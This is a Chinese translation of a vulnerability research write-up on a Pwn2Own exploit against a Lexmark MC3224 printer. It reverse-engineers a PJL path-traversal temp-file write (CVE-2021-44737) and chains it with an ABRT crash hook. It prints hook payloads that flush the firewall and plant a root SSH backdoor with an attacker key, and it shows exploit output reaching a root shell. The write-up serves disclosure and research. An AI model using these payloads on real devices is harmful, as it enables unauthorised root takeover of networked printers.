利用 PJL 路径穿越漏洞,实现Lexmark MC3224i打印机的RCE
2022-3-8 11:55:0 Author: www.4hou.com(查看原文) 阅读量:27 收藏

2021年10月,我们的研究人员发现了一个安全漏洞,并在2021年11月举行的Pwn2Own 2021大赛中成功利用了该漏洞。今年一月,Lexmark公司发布了该漏洞(CVE-2021-44737)的安全补丁。

最初,我们是打算以Lexmark MC3224i打印机为目标的,然而,由于该型号的打印机到处缺货,所以,我们决定买一台Lexmark MC3224dwe打印机作为其替代品。它们的主要区别在于:Lexmark MC3224i型号提供了传真功能,而Lexmark MC3224dwe型号则缺乏该功能。从漏洞分析的角度来看,这意味着两者之间可能有一些差异,至少我们很可能无法利用某些功能。于是,我们下载了两个型号的固件更新,发现它们竟然完全一样,所以,我们决定继续考察Lexmark MC3224dwe——反正我们也没有选择的余地。

就像Pwn2Own所要求的那样,该漏洞可被远程利用,无需经过身份验证,并存在于默认配置中。利用该漏洞,攻击者就能以该打印机的root用户身份远程执行代码。

关于该漏洞的利用过程,具体如下所示:

    1、利用临时文件写入漏洞(CVE-2021-44737),对ABRT钩子文件执行写操作

    2、通过远程方式,令进程发生崩溃,以触发ABRT的中止处理

    3、中止处理将导致ABRT钩子文件中的bash命令被执行

实际上,临时文件写入漏洞位于Lexmark特有的hydra服务(/usr/bin/hydra)中,该服务在Lexmark MC3224dwe打印机上是默认运行的。hydra服务的二进制文件非常大,因为它需要处理各种协议。该漏洞存在于打印机工作语言(PJL)命令中,更具体地说,是在一个名为LDLWELCOMESCREEN的命令中。

我们已经分析并利用了CXLBL.075.272/CXLBL.075.281版本中的漏洞,但旧版本也可能存在该漏洞。在这篇文章中,我们将详细介绍针对CXLBL.075.272的分析过程,因为CXLBL.075.281是在去年10月中旬发布的,并且我们一直在研究这个版本。

注意:Lexmark MC3224dwe打印机是基于ARM(32位)架构的,但这对漏洞的利用过程并不重要,只是对逆向分析有点影响。

由于该漏洞先是触发了一个ABRT,随后又中止了ABRT,所以,我们将其命名为“MissionAbrt”。

逆向分析

您可以从Lexmark下载页面下载Lexmark固件更新文件,但是,这个文件是加密的。如果您有兴趣了解我们的同事Catalin Visinescu是如何使用硬件黑客技术来获取该固件文件的,请参阅本系列的第一篇文章。

漏洞详细信息

背景知识

正如维基百科所说:

打印机作业语言(PJL)是Hewlett-Packard公司开发的一种方法,用于在作业级别切换打印机语言,以及在打印机和主机之间进行状态回读。PJL增加了作业级别控制,如打印机语言切换、作业分离、环境、状态回读、设备考勤和文件系统命令。

PJL命令如下所示:

@PJL SET PAPER=A4
@PJL SET COPIES=10
@PJL ENTER LANGUAGE=POSTSCRIPT

众所周知,PJL对攻击者来说是非常有用的。过去,一些打印机曾经曝光过允许在设备上读写文件的漏洞。

PRET是这样一款工具:借助于该软件,我们就能在各种打印机品牌上使用PIL(以及其他语言),但它不一定支持所有的命令,因为每个供应商都提供了自己的专有命令。

找到含有漏洞的函数

虽然hydra服务的二进制文件没有提供符号,却提供了许多日志/错误函数,其中包含一些函数名。下面显示的代码是通过IDA/Hex-Rays反编译的代码,因为尚未找到该二进制文件的开放源代码。其中,许多PJL命令由地址为0xFE17C的setup_pjl_commands()函数注册的。这里,我们对LDLWELCOMESCREEN PJL命令非常感兴趣,因为它好像是Lexmark专有的,并且没有找到相应的说明文档。

int __fastcall setup_pjl_commands(int a1)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  pjl_ctx = create_pjl_ctx(a1);
  pjl_set_datastall_timeout(pjl_ctx, 5);
  sub_11981C();
  pjlpGrowCommandHandler("UEL", pjl_handle_uel);
  ...
  pjlpGrowCommandHandler("LDLWELCOMESCREEN", pjl_handle_ldlwelcomescreen);
  ...

当接收到PJL LDLWELCOMESCREEN命令后,0x1012f0处的pjl_handle_ldlwelcomescreen()函数将开始处理该命令。我们可以看到,这个命令使用一个表示文件名的字符串作为第一个参数:

int __fastcall pjl_handle_ldlwelcomescreen(char *client_cmd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  result = pjl_check_args(client_cmd, "FILE", "PJL_STRING_TYPE", "PJL_REQ_PARAMETER", 0);
  if ( result <= 0 )
    return result;
  filename = (const char *)pjl_parse_arg(client_cmd, "FILE", 0);
  return pjl_handle_ldlwelcomescreen_internal(filename);
}

然后,0x10a200处的pjl_handle_ldlwelcomescreen_internal()函数将尝试打开该文件。请注意,如果该文件存在,该函数并不会打开它,而是立即返回。因此,我们只能写还不存在的文件。此外,完整的目录层次结构必须已经存在,以便我们创建文件,同时,我们还需要具有写文件的权限。

unsigned int __fastcall pjl_handle_ldlwelcomescreen_internal(const char *filename)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  if ( !filename )
    return 0xFFFFFFFF;
 
  fd = open(filename, 0xC1, 0777);              // open(filename,O_WRONLY|O_CREAT|O_EXCL, 0777)
  if ( fd == 0xFFFFFFFF )
    return 0xFFFFFFFF;
  ret = pjl_ldwelcomescreen_internal2(0, 1, pjl_getc_, write_to_file_, &fd);// goes here
  if ( !ret && pjl_unk_function && pjl_unk_function(filename) )
    pjl_process_ustatus_device_(20001);
  close(fd);
  remove(filename);
  return ret;
}

下面我们开始考察pjl_ldwelcomescreen_internal2()函数,但请注意,上面的文件最后会被关闭,并然后通过remove()调用完全删除文件名。这意味着我们似乎只能暂时写入该文件。

文件写入原语

现在,让我们分析0x115470处的pjl_ldwelcomescreen_internal2()函数。由于使用了flag == 0选项,因此,pjl_handle_ldlwelcomescreen_internal()函数最终将调用pjl_ldwelcomescreen_internal3()函数:

unsigned int __fastcall pjl_ldwelcomescreen_internal2(
        int flag,
        int one,
        int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
        ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
        int *p_fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  bad_arg = write_to_file == 0;
  if ( write_to_file )
    bad_arg = pjl_getc == 0;
  if ( bad_arg )
    return 0xFFFFFFFF;
  if ( flag )
    return pjl_ldwelcomescreen_internal3bis(flag, one, pjl_getc, write_to_file, p_fd);
  return pjl_ldwelcomescreen_internal3(one, pjl_getc, write_to_file, p_fd);// goes here due to flag == 0
}

我们花了一些时间,来逆向分析0x114838处的pjl_ldwelcomescreen_internal3()函数,以理解其内部机制。这个函数不仅很大,通过反编译得到的代码可读性不是太高,但逻辑仍然很容易理解。

基本上,这个函数负责从客户端读取附加数据,并将其写入前面打开的文件。

客户端数据似乎是由另一个线程异步接收的,并保存到分配给pjl_ctx结构体的内存中。因此,pjl_ldwelcomescreen_internal3()函数每次从pjl_ctx结构体中读取一个字符,并填充0x400字节的堆栈缓冲区。

1、如果接收到0x400字节数据,并且堆栈缓冲区已满,则最终会将这些0x400字节写入以前打开的文件中。然后,它重置堆栈缓冲区,并开始读取更多数据以重复该过程。

2、如果接收到PJL命令的页脚(“@PJL END data”),它将丢弃页脚部分,然后将接收的数据(大小< 0x400字节)写入文件,最后退出。

unsigned int __fastcall pjl_ldwelcomescreen_internal3(
        int was_last_write_success,
        int (__fastcall *pjl_getc)(unsigned __int8 *p_char),
        ssize_t (__fastcall *write_to_file)(int *p_fd, char *data_to_write, size_t len_to_write),
        int *p_fd)
{
  unsigned int current_char_2; // r5
  size_t len_to_write; // r4
  int len_end_data; // r11
  int has_encountered_at_sign; // r6
  unsigned int current_char_3; // r0
  int ret; // r0
  int current_char_1; // r3
  ssize_t len_written; // r0
  unsigned int ret_2; // r3
  ssize_t len_written_1; // r0
  unsigned int ret_3; // r3
  ssize_t len_written_2; // r0
  unsigned int ret_4; // r3
  int was_last_write_success_1; // r3
  size_t len_to_write_final; // r4
  ssize_t len_written_final; // r0
  unsigned int ret_5; // r3
  unsigned int ret_1; // [sp+0h] [bp-20h]
  unsigned __int8 current_char; // [sp+1Fh] [bp-1h] BYREF
  _BYTE data_to_write[1028]; // [sp+20h] [bp+0h] BYREF
 
  current_char_2 = 0xFFFFFFFF;
  ret_1 = 0;
b_restart_from_scratch:
  len_to_write = 0;
  memset(data_to_write, 0, 0x401u);
  len_end_data = 0;
  has_encountered_at_sign = 0;
  current_char_3 = current_char_2;
  while ( 1 )
  {
    current_char = 0;
    if ( current_char_3 == 0xFFFFFFFF )
    {
      // get one character from pjl_ctx->pData
      ret = pjl_getc(&current_char);
      current_char_1 = current_char;
    }
    else
    {
      // a previous character was already retrieved, let's use that for now
      current_char_1 = (unsigned __int8)current_char_3;
      ret = 1;                                  // success
      current_char = current_char_1;
    }
 
    if ( has_encountered_at_sign )
      break;                                    // exit the loop forever
 
    // is it an '@' sign for a PJL-specific command?
    if ( current_char_1 != '@' )
      goto b_read_pjl_data;
 
    len_end_data = 1;
    has_encountered_at_sign = 1;
b_handle_pjl_at_sign:
 
    // from here, current_char == '@'
    if ( len_to_write + 13 > 0x400 )            // ?
    {
      if ( was_last_write_success )
      {
        len_written = write_to_file(p_fd, data_to_write, len_to_write);
        was_last_write_success = len_to_write == len_written;
        current_char_2 = '@';
        ret_2 = ret_1;
        if ( len_to_write != len_written )
          ret_2 = 0xFFFFFFFF;
        ret_1 = ret_2;
      }
      else
      {
        current_char_2 = '@';
      }
 
      goto b_restart_from_scratch;
    }
b_read_pjl_data:
    if ( ret == 0xFFFFFFFF )                    // error
    {
      if ( !was_last_write_success )
        return ret_1;
 
      len_written_1 = write_to_file(p_fd, data_to_write, len_to_write);
      ret_3 = ret_1;
      if ( len_to_write != len_written_1 )
        return 0xFFFFFFFF;                      // error
      return ret_3;
    }
 
    if ( len_to_write > 0x400 )
      __und(0);
 
    // append data to stack buffer
    data_to_write[len_to_write++] = current_char_1;
    current_char_3 = 0xFFFFFFFF;                // reset to enforce reading another character
                                                // at next loop iteration
 
    // reached 0x400 bytes to write, let's write them
    if ( len_to_write == 0x400 )
    {
      current_char_2 = 0xFFFFFFFF;              // reset to enforce reading another character
                                                // at next loop iteration
      if ( was_last_write_success )
      {
        len_written_2 = write_to_file(p_fd, data_to_write, 0x400);
        ret_4 = ret_1;
        if ( len_written_2 != 0x400 )
          ret_4 = 0xFFFFFFFF;
        ret_1 = ret_4;
        was_last_write_success_1 = was_last_write_success;
        if ( len_written_2 != 0x400 )
          was_last_write_success_1 = 0;
        was_last_write_success = was_last_write_success_1;
      }
      goto b_restart_from_scratch;
    }
  }                                             // end of while ( 1 )
 
  // we reach here if we encountered an '@' sign
  // let's check it is a valid "@PJL END DATA" footer
  if ( (unsigned __int8)aPjlEndData[len_end_data] != current_char_1 )
  {
    len_end_data = 1;
    has_encountered_at_sign = 0;                // reset so we read it again?
    goto b_read_data_or_at;
  }
 
  if ( len_end_data != 12 )                     // len("PJL END DATA") = 12
  {
    ++len_end_data;
b_read_data_or_at:
    // will go back to the while(1) loop but exit at the next
    // iteration due to "break" and has_encountered_at_sign == 1
    if ( current_char_1 != '@' )
      goto b_read_pjl_data;
    goto b_handle_pjl_at_sign;
  }
 
  // we reach here if all "PJL END DATA" was parsed
  current_char = 0;
  pjl_getc(&current_char);                      // read '\r'
  if ( current_char == '\r' )
    pjl_getc(&current_char);                    // read '\n'
 
  // write all the remaining data (len < 0x400), except the "PJL END DATA" footer
  len_to_write_final = len_to_write - 0xC;
  if ( !was_last_write_success )
    return ret_1;
  len_written_final = write_to_file(p_fd, data_to_write, len_to_write_final);
  ret_5 = ret_1;
  if ( len_to_write_final != len_written_final )
    return 0xFFFFFFFF;
  return ret_5;
}

位于0xFEA18处的pjl_getc()函数,用于从pjl_ctx结构体中检索一个字符: 

int __fastcall pjl_getc(_BYTE *ppOut)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  pjl_ctx = get_pjl_ctx();
  *ppOut = 0;
  InputDataBufferSize = pjlContextGetInputDataBufferSize(pjl_ctx);
  if ( InputDataBufferSize == pjl_get_end_of_file(pjl_ctx) )
  {
    pjl_set_eoj(pjl_ctx, 0);
    pjl_set_InputDataBufferSize(pjl_ctx, 0);
    pjl_get_data((int)pjl_ctx);
    if ( pjl_get_state(pjl_ctx) == 1 )
      return 0xFFFFFFFF;                        // error
    if ( !pjlContextGetInputDataBufferSize(pjl_ctx) )
      _assert_fail(
        "pjlContextGetInputDataBufferSize(pjlContext) != 0",
        "/usr/src/debug/jobsystem/git-r0/git/jobcontrol/pjl/pjl.c",
        0x1BBu,
        "pjl_getc");
  }
  current_char = pjl_getc_internal(pjl_ctx);
  ret = 1;
  *ppOut = current_char;
  return ret;
}

0x6595C处的write_to_file()函数只是将数据写入指定的文件描述符:

int __fastcall write_to_file(void *data_to_write, size_t len_to_write, int fd)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  total_written = 0;
  do
  {
    while ( 1 )
    {
      len_written = write(fd, data_to_write, len_to_write);
      len_written_1 = len_written;
      if ( len_written < 0 )
        break;
      if ( !len_written )
        goto b_error;
      data_to_write = (char *)data_to_write + len_written;
      total_written += len_written;
      len_to_write -= len_written;
      if ( !len_to_write )
        return total_written;
    }
  }
  while ( *_errno_location() == EINTR );
b_error:
  printf("%s:%d [%s] rc = %d\n", "../git/hydra/flash/flashfile.c", 0x153, "write_to_file", len_written_1);
  return 0xFFFFFFFF;
}

从攻击的角度来看,我们所感兴趣的是,如果发送的字节数量超过0x400,超出部分将被写入该文件;如果我们不发送PJL命令的页脚,它将等待我们继续发送更多数据,然后才真正完全删除该文件。

注意:当发送数据时,我们通常需要发送一定的填充数据,以确保其长度为0x400的倍数,这样我们控制的数据才会真正写入文件。

确认临时文件写入是否成功

有几个CGI脚本,可以用来显示文件系统上的文件内容。例如,/usr/share/web/cgi-bin/eventlogdebug_se的内容是:

#!/bin/ash
 
echo "Expires: Sun, 27 Feb 1972 08:00:00 GMT"
echo "Pragma: no-cache"
echo "Cache-Control: no-cache"
echo "Content-Type: text/html"
echo
echo "< HTML >< HEAD >< META HTTP-EQUIV=\"Content-type\" CONTENT=\"text/html; charset=UTF-8\" >< /HEAD >< BODY >< PRE >"
echo "[++++++++++++++++++++++ Advanced EventLog (AEL) Retrieved Reports ++++++++++++++++++++++]"
for i in 9 8 7 6 5 4 3 2 1 0; do
         if [ -e /var/fs/shared/eventlog/logs/debug.log.$i ] ; then
                  cat /var/fs/shared/eventlog/logs/debug.log.$i
         fi
done
echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]"
echo ""
echo ""
echo "[++++++++++++++++++++++  Advanced EventLog (AEL) Configurations   ++++++++++++++++++++++]"
rob call applications.eventlog getAELConfiguration n
echo "[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]"
echo "< /PRE >< /BODY >< /HTML >"

因此,我们可以使用之前讨论过的临时文件写入原语,向/var/fs/shared/eventlog/logs/debug.log.1文件中写入大量的字符A。

然后,我们可以通过访问CGI页面,来确认对该文件的写入操作是否成功。

通过测试,我们注意到该文件会在1分钟和1分钟40之间被自动删除,这可能是由于hydra中PJL处理的超时所致。这意味着:我们可以利用这个临时文件原语的时间窗口为60秒。

漏洞的利用

利用崩溃事件处理程序(又称ABRT)

为了找到执行代码的方法,我们花费了大量的时间。直到我们注意到有几个配置文件定义了崩溃发生时要做什么时,我们终于抓住了一个突破口。

$ ls ./squashfs-root/etc/libreport/events.d
abrt_dbus_event.conf      emergencyanalysis_event.conf  rhtsupport_event.conf  vimrc_event.conf
ccpp_event.conf           gconf_event.conf              smart_event.conf       vmcore_event.conf
centos_report_event.conf  koops_event.conf              svcerrd.conf
coredump_handler.conf     print_event.conf              uploader_event.conf

例如,coredump_handler.conf可以用来执行shell命令:

# coredump-handler passes /dev/null to abrt-hook-ccpp which causes it to write
# an empty core file. Delete this file so we don't attempt to use it.
EVENT=post-create type=CCpp
    [ "$(stat -c %s coredump)" != "0" ] || rm coredump

下面介绍ABRT的运行机制:

如果程序开发人员(或包维护人员)需要用到ABRT未收集的某些信息,他们可以编写一个定制的ABRT钩子,为他的程序(包)收集所需的数据。这种钩子可以在问题处理期间的不同时间点运行,这取决于信息的“新鲜”程度。它可以在下列时间点运行:

1.崩溃时

2.当用户决定分析问题时(通常需要运行gdb)

3.在编写本报告时

您所要做的就是创建一个.conf文件,并将其放在/etc/libreport/events.d/中:

EVENT=< EVENT_TYPE > [CONDITIONS]
   < whatever command you like >

这些命令将在当前目录设置为问题目录的情况下执行(例如:/var/spool/abrt/ccpp-2012-05-17-14:55:15-31664目标)。

如果您需要在崩溃时收集数据,则需要创建一个作为post-create事件运行的钩子。

警告:post-create事件以root权限运行!

通过上面的介绍,我们可以确定必须创建一个post-create事件,并且我们知道如果/当一个崩溃事件实际上由ABRT处理时,它将以root权限去执行。

触发进程崩溃

实际上,导致进程崩溃的方法有很多种,它们似乎都会导致蓝屏死机(BSOD),然后,打印机将重新启动:

1.png

这样的进程崩溃足以触发ABRT行为。一旦我们触发了这样的进程崩溃,abrtd就会触发控制文件的post-create事件。通过启动我们自己的进程(例如netcat、ssh),该进程就永远不会返回,这样就可以避免崩溃处理过程继续进行,从而避免BSOD。

另外,我们可以利用awk中的一个漏洞来触发崩溃。如果打印机上使用的awk版本相当旧,那么,其中可能会存在一些新版本上并不存在的漏洞。比如,如果在设备上用awk命令来处理一个并不存在的文件,则会触发无效的free()函数:

# awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' /tmp/doesnt_exist
free(): invalid pointer
Aborted

为了远程触发它,我们滥用了apache2中的一个竞态条件漏洞;相关的配置包含以下内容:

ErrorLog "|/usr/sbin/rotatelogs -L '/run/log/apache_error_log' -p '/usr/bin/apache2-logstat.sh' /run/log/apache_error_log.%Y-%m-%d-%H_%M_%S 32K"

以上配置将触发每生成32KB日志的日志轮换,生成的日志文件具有唯一的名称,但最低时间粒度以秒。因此,如果生成的HTTP日志足够多,以至于在一秒钟内发生两次轮换,那么,apache2-logstat.sh的两个实例可能会同时解析同名的文件。在apache2-logstat.sh中,我们可以看到以下内容:

#!/bin/sh
file_to_compress="${2}"
path_to_logs="/run/log/"
compress_exit_code=0
to_restart=0
 
rm -f "${path_to_logs}"apache_error_log*.tar.gz
if [[ "${file_to_compress}" ]]; then
    echo "Compressing ${file_to_compress} ..."
    tar -czf "${file_to_compress}.tar.gz" "${file_to_compress}"
    compress_exit_code=${?}
    if [[ ${compress_exit_code} == 0 ]]; then
        echo "File ${file_to_compress} was compressed."
        echo "Check apache server status if needed to restart"
        to_restart=$(awk 'match($10,/AH00288/,b){a[b[0]]++}END{for(i in a) if (a[i] > 5) print a[i]}' "${file_to_compress}")
        if [ $to_restart -gt "5" ]
        then
            echo "Time to restart apache .."
            rm -f "${path_to_logs}"apache_error_log*
            systemctl restart apache2
        fi
        rm -rf "${file_to_compress}"
    else
        echo "Error compressing file ${file_to_compress} (tar exit code: ${compress_exit_code})."
    fi
fi
 
exit ${compress_exit_code}

上面的file_to_compress是根据前面显示的ErrorLog行生成的apache错误日志文件。成功压缩文件后,将对该文件运行awk命令,以确定是否应该重新启动apache,否则将删除该文件。当这个脚本的多个实例同时运行时,就会触发竞态条件:其中一个脚本从磁盘上删除日志文件,而另一个脚本则在已不存在的文件上运行awk,从而导致代码崩溃。

实际上,只要向设备发送大量HTTP数据,就可以触发这个崩溃现象。

虽然这里通过awk崩溃来触发代码执行,但任何远程预授权的崩溃都应该是可用的,只要它能触发ABRT运行即可。

小结

首先,我们使用临时文件写入原语创建/etc/libreport/events.d/abort_edg.conf文件,其中包含以下文件(由于前面解释过的原因,我们需要用大量空格进行填充):

EVENT=post-create /bin/ping 192.168.1.7 -c 4
        iptables -F
        /bin/ping 192.168.1.7 -c 4

然后,通过触发进程崩溃,进而触发ABRT执行我们的上述命令;接着,使用ping命令来确认每个中间命令的执行时间。之后,使用Wireshark确认收到了8个ping数据包。然后,通过连接通常被防火墙阻止的打印机上的某些侦听服务,来确认防火墙已成功禁用。

下面的ABRT钩子文件用于禁用防火墙,配置并启动SSH:

EVENT=post-create iptables -F
    /bin/rm /var/fs/security/ssh/ssh_host_key
    mkdir /var/run/sshd || echo foo
    /usr/bin/ssh-keygen -b 256 -t ecdsa -N '' -f /var/fs/security/ssh/ssh_host_key
    echo "ecdsa-sha2-nistp521 AAAAE2VjZHNhLXNoYTItbmlzdHA1MjEAAAAIbmlzdHA1MjEAAACFBABl6xVq6dGu40kDyxwjlMw7sxq4JGhVdc4hvDlDPPhzmAyEBkUWZOPRsLcWYm5kDJN6zFPTS0a4KNbx56qICwkyGAHfRv/+lVMxO2BEPJyYUUdpRC3qmUx0xy3GlgpOUUl90LgiifwcO6UI0P4l+UsewOrDdP6ycuklzJCaa7jLlPkMjQ==" > /var/fs/security/ssh/authorized
    /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key
    while true; /bin/ping 192.168.1.7 -c 4; sleep 10; done

下面是exploit代码的运行情况:

$ ./MissionAbrt.py -i 192.168.1.4
(13:20:01) [*] [file creation thread] running
(13:20:01) [*] Waiting for firewall to be disabled...
(13:20:01) [*] [file creation thread] connected
(13:20:01) [*] [file creation thread] file created
(13:20:01) [*] [crash thread] running
(13:20:09) [*] Firewall was successfully disabled
(13:20:09) [*] [crash thread] done
(13:20:10) [*] [file creation thread] done
(13:20:10) [*] All threads exited
(13:20:10) [*] Waiting for SSH to be available...
(13:20:10) [*] Spawning SSH shell
Line-buffered terminal emulation. Press F6 or ^Z to send EOF.
 
id
ABRT has detected 1 problem(s). For more info run: abrt-cli list
[email protected]:~# id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#

我们可以看到,现在已经通过abrtd启动了sshd:

[email protected]:~# ps -axjf
...
   1  772  772  772 ?           -1 Ssl      0   0:00 /usr/sbin/abrtd -d -s
 772 2343  772  772 ?           -1 S        0   0:00  \_ abrt-server -s
2343 2550  772  772 ?           -1 SN       0   0:00      \_ /usr/libexec/abrt-handle-event -i --nice 10 -e post-create -- /var/fs/shared/svcerr/abrt/ccpp-2021-10-20-07:06:21-2117
2550 2947  772  772 ?           -1 SN       0   0:00          \_ /bin/sh -c echo 'mission abort!'             iptables -F             echo 'mission abort!'             /bin/rm /var/fs/security/ssh/ssh_host_key             echo 'mission a
2947 2952  772  772 ?           -1 SN       0   0:00              \_ /usr/sbin/sshd -D -o PermitRootLogin=without-password -o AllowUsers=root -o AuthorizedKeysFile=/var/fs/security/ssh/authorized -h /var/fs/security/ssh/ssh_host_key
2952 3107 3107 3107 ?           -1 SNs      0   0:00                  \_ sshd: [email protected]/0
3107 3109 3109 3109 pts/0     3128 SNs      0   0:00                      \_ -sh
3109 3128 3128 3109 pts/0     3128 RN+      0   0:00                          \_ ps -axjf

Pwn2Own参赛感想

在参加Pwn2Own大赛时,我们的第一次尝试利用该漏洞的过程中,由于一个未知的SSH错误而失败了,而我们在自己的测试环境中并没有遇到这种情况。我们可以看到,我们的命令的确被执行了(防火墙被禁用,SSH服务器被启动/并且可达),但它不允许我们连接。在参赛之前,在我们的漏洞利用代码的开发过程中,我们还测试过netcat payload,所以,我们决定在第二次尝试时启动这两个payload,结果大获成功。这表明,在参加Pwn2Own比赛时,拥有备份计划是多么重要!

本文翻译自:https://research.nccgroup.com/2022/02/18/analyzing-a-pjl-directory-traversal-vulnerability-exploiting-the-lexmark-mc3224i-printer-part-2/如若转载,请注明原文地址


文章来源: https://www.4hou.com/posts/6KJR
如有侵权请联系:admin#unsafe.sh